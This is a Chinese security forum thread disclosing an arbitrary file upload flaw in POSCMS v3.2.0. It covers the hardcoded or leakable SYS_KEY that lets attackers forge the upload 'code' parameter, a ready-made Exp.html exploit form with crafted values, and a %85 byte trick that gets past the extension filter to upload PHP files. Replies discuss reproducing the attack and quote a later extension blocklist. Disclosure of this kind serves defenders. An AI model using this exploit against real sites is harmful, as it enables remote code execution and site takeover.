用户
搜索
  • TA的每日心情
    奋斗
    2017-6-10 15:08
  • 签到天数: 24 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋-核心白帽

    Rank: 4

    18

    主题

    406

    帖子

    292

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2016-3-19
    发表于 2018-9-20 13:22:21 178454

    版本:POSCMS免费版v3.2.0 bulid 20180829
    下载地址:https://gitee.com/dayrui/poscms (这是更新过的版本了,看了下代码好像并没有修复,本地未搭建测试)
    漏洞详情:
    漏洞文件:\diy\module\member\controllers\Api.php 中的swfupload方法:


    跟进upload类文件:\diy\dayrui\libraries\Upload.php

    可以看到将我们传入的allowed_types设置到了属性allowed_types中。

    接下来看do_upload这个关键的上传方法,看其中的判断文件的合法性:


    后面还有个is_allowed_dimensions函数验证,就是验证Content-Type:直接抓包修改就是了。漏洞已经大概出现了,现在就需要回溯了.


    回溯:

    现在回到最开始的控制$code地方:

    $code = str_replace(' ', '+', $this->input->post('code'));
    list($size, $ext, $path) = explode('|', dr_authcode($code, 'DECODE'));

    跟进dr_authcode加密函数发现是dz的加密函数,所以只要得到SYS_KEY就可以随意加密解密了.
    SYS_KEY在文件\config\system.php 中定义:

    'SYS_KEY'                       => 'poscms2e0f1c2675dd3e2f4d97a7db18812662', //安全密钥

    在该POSCMS免费版v3.2.0 bulid 20180829版本中为固定值,所以造成了code可控.

    P.S:在上一个版本20180802中,存在一样的问题,但是 SYS_KEY 在install.php中生成:

    'SYS_KEY' => 'poscms'.md5(time()),

    看似很安全,但是后面却有这样一段代码:

    file_put_contents(WEBPATH.'cache/install.lock', time());

    导致了直接泄露了time(),直接访问cache/install.lock即可得到time,尝试个3-5次就能得到SYS_KEY了。


    漏洞利用:
    Exp.html

    
    <html>
    <body>
    <form action="http://poscms.com/index.php?s=member&c=api&m=swfupload" method="post"
    enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="Filedata"/>
    <input type="text" name="session" value="1178lbQGJyjNRo2uPdUpyiPW+s4rEvubOUeKubxL" style="display:none"/><br> 
    <input type="text" name="code" value="3874/Cfq8vWPoz9JMjT+FDhFPrCn7NikMyxV367LH+Sf4Q" style="display:none"/> 
    <br />
    <input type="submit" name="submit" value="Submit" />
    </form>
    </body>
    </html>
    

    存为html代码,然后上传抓包:

    使用ctrl+shift+U 快捷键将%85进行编码,即可上传php文件.

    发表于 2018-10-16 18:03:41
    [HTML] 纯文本查看 复制代码
    foreach (array( 'php', 'asp', 'jsp', 'aspx', 'exe', 'sh', 'phtml') as $t) {
                if (strpos($ext, $t) === 0) {
                    $this->set_error('文件禁止上传', 'debug');
                    return FALSE;
                }
            }

    凉凉了,大兄弟
    使用道具 举报 回复
    发表于 2018-9-28 23:45:38
    icq27160d12 发表于 2018-9-23 17:29
    为什么我在复现的时候,使用ctrl+shift+U 快捷键将%85进行编码会变成空,上传不成功,提示:0,文件禁止上传 ...

    不会吧,就是一个通过%81-%99,服务器会自动将其去掉来绕过.
    使用道具 举报 回复
    为什么我在复现的时候,使用ctrl+shift+U 快捷键将%85进行编码会变成空,上传不成功,提示:0,文件禁止上传文件格式不正确
    使用道具 举报 回复
    发表于 2018-9-28 23:42:58
    icq27160d12 发表于 2018-9-23 12:39
    楼主可以发下水泡泡师傅的博客链接吗

    https://www.cnblogs.com/r00tuser/
    使用道具 举报 回复
    发表于 2018-9-20 20:12:45

    哈哈,向水泡泡师傅学习,每天必点开师傅博客看看有木有更新.
    使用道具 举报 回复
    发表于 2018-9-28 23:43:42
    初来乍到01 发表于 2018-9-23 20:25
    这个系统用的人应该不多吧


    这个真不知道,又不做hc,管他多不多.
    使用道具 举报 回复
    坏蛋 管理员 欢迎大家来春秋群找我玩 秦 楚 燕 魏 齐 赵 春秋文阁
    推荐
    发表于 2018-9-21 09:44:47

    水泡泡师父求分享文章啊
    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
    i春秋—楚:533191896
    i春秋—韩:556040588
    i春秋CTF交流学习群:234714762
    使用道具 举报 回复
    这个洞有意思            
    使用道具 举报 回复
    发表于 2018-9-21 10:14:56
    膜拜大佬
    用代码将梦想照进现实!
    使用道具 举报 回复
    发表于 2018-9-21 10:30:58
    学习一下~
    使用道具 举报 回复
    发表于 2018-9-21 13:01:31
    不错。。。。
    http://www.anonymou5.com
    使用道具 举报 回复
    发表于 2018-9-22 17:36:25
    学习学习~
    使用道具 举报 回复
    发表于 2018-9-23 12:39:45
    楼主可以发下水泡泡师傅的博客链接吗
    使用道具 举报 回复
    发表于 2018-9-23 14:07:33
    6666666666666666666666
    learning
    使用道具 举报 回复
    这个系统用的人应该不多吧
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册